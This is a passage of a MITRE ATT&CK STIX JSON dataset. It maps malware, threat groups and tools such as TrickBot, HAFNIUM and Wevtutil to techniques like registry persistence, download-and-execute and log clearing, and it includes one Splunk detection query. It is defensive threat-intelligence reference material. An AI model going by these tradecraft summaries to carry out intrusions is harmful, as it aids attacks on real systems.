other activities based on the information obtained.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created).\n\nAnalytic 1 - Suspicious Processes\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | where CommandLine LIKE \"%Get-Process%\" AND CommandLine LIKE \"%mainWindowTitle%\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-16T23:56:46.398Z", "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) achieves persistence by making an entry in the Registry's Run key.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT29", "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}], "modified": "2019-10-11T19:07:42.404Z", "description": "Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.(Citation: FireEye APT29)", "relationship_type": "uses", "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Janicab", "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"}], "modified": "2020-03-19T17:57:25.367Z", "description": "[Janicab](https://attack.mitre.org/software/S0163) used a cron job for persistence on Mac devices.(Citation: Janicab)", "relationship_type": "uses", "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3ec64efd-1ee8-4bfd-8ff1-3316806d7979", "created": "2024-01-23T19:33:25.606Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T21:16:21.732Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has used scheduled tasks to execute discovery commands and scripts for collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ed38d36-8e7c-4670-aead-cc8c28fc53cc", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3ed5a1c3-e7c8-4fb7-bfcf-401b29f5f47c", "created": "2020-09-11T13:27:44.386Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cyberreason Anchor December 2019", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"}, {"source_name": "Bitdefender Trickbot VNC module Whitepaper 2021", "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:45:32.493Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can send information about the compromised host and upload data to a hardcoded C2 server.(Citation: Cyberreason Anchor December 2019)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ed930d6-ab79-4642-8320-2ed59d899b6d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.778Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim\u2019s machine.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3edc3698-c8a9-4212-b34e-1f3a44fbd00d", "type": "relationship", "created": "2020-06-08T16:57:20.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T17:22:35.647Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to take screenshots on an infected host including capturing content from windows of instant messaging applications.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3ee66a23-0783-4292-b4be-cc227932800c", "created": "2023-08-01T20:16:58.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. 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Retrieved May 27, 2020."}], "modified": "2020-05-27T20:25:33.633Z", "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to identify the username and hostname on a compromised host.(Citation: Unit 42 MechaFlounder March 2019)", "relationship_type": "uses", "source_ref": "malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has sent spearphishing emails with a malicious RTF document or Excel spreadsheet.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-06-01T21:21:52.224Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3efc2e37-4179-42d6-89c8-f48dc4d9a8a7", "created": "2022-03-30T14:26:51.835Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor network traffic content for evidence of data exfiltration, such as gratuitous or anomalous outbound traffic containing collected data. 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Retrieved October 27, 2022.", "url": "https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-21T18:38:30.820Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used `cmd.exe` to execute commands on the victim's machine.(Citation: Rapid7 HAFNIUM Mar 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3f7f515f-25f9-4afb-becf-6247f4d6ecd2", "type": "relationship", "created": "2020-03-15T14:59:15.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T14:59:15.485Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3f824a1b-70d5-4859-bd55-6b084f602a52", "type": "relationship", "created": "2021-02-10T18:20:51.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T18:20:51.667Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can search for files in directories.(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3f898155-f810-4d2c-8e30-34723d845ade", "type": "relationship", "created": "2020-12-15T00:13:05.625Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2020-12-15T00:13:05.625Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) has created scheduled tasks to persistently run VBScripts.(Citation: Unit42 Molerat Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT10 April 2017", "description": "FireEye iSIGHT Intelligence. (2017, April 6). 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) has used a Trojanized version of the Windows Notepad application for an additional backdoor persistence mechanism.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3fa2041f-f2dc-4fa6-8e01-f0bb065f8ca0", "type": "relationship", "created": "2021-09-21T15:02:49.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Wevtutil Microsoft Documentation", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "description": "Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021."}, {"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}], "modified": "2021-09-21T15:02:49.122Z", "description": "[Wevtutil](https://attack.mitre.org/software/S0645) can be used to clear system and security event logs from the system.(Citation: Wevtutil Microsoft Documentation)(Citation: Crowdstrike DNC June 2016)", "relationship_type": "uses", "source_ref": "tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3fa24e29-2791-4b10-8014-bfa817c3a2f2", "created": "2023-06-14T22:35:16.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-14T08:44:27.691Z", "description": "When executing with non-root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) uses the the `shmget` API to create shared memory between other known [RotaJakiro](https://attack.mitre.org/software/S1078) processes. [RotaJakiro](https://attack.mitre.org/software/S1078) also uses the `execvp` API to help its dead process \"resurrect\".(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3fa8155d-11ca-47de-902e-47e809d0ed64", "type": "relationship", "created": "2020-10-01T13:41:54.436Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-10-01T13:41:54.436Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3faaf140-71cd-4cc2-91c9-f0980ca72079", "type": "relationship", "created": "2021-01-13T21:16:05.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-03-26T11:49:13.159Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3fadfbe5-6ed1-4d6d-a5ed-a355506431ba", "created": "2022-06-14T15:08:14.433Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can download files to the compromised host.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-14T15:08:14.433Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3faf013a-e1c4-494a-b2a1-6e9abef908b9", "type": "relationship", "created": "2022-02-01T14:23:04.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.620Z", "description": "[Attor](https://attack.mitre.org/software/S0438) has a plugin that collects data stored in the Windows clipboard by using the OpenClipboard and GetClipboardData APIs.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4026cbce-db36-4716-95b5-68cefbe10f27", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--402be191-85a7-400e-ba32-fe66c93d116f", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor for the loading of modules associated with scripting languages (ex: JScript.dll).", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--402e9430-9d3a-4694-89ca-923dab3fba26", "type": "relationship", "created": "2019-07-18T21:12:51.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. 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Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.133Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has used batch scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4050ee68-3f26-49e6-beec-e2a62133a1c3", "type": "relationship", "created": "2020-03-30T20:26:08.736Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET OceanLotus Mar 2019", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "description": "Dumont, R. (2019, March 20). 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Retrieved April 1, 2019."}], "modified": "2020-03-30T20:26:08.736Z", "description": "An [APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--40527571-0b01-4568-b72b-568ad8b419ae", "type": "relationship", "created": "2021-03-19T12:52:09.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. 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(2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.877Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) hooks several API functions to spawn system threads.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--40622bce-ea51-4744-9240-4a4c4bf83753", "type": "relationship", "created": "2020-04-30T16:48:25.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chronicle Winnti for Linux May 2019", "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}], "modified": "2020-05-04T14:24:55.167Z", "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used 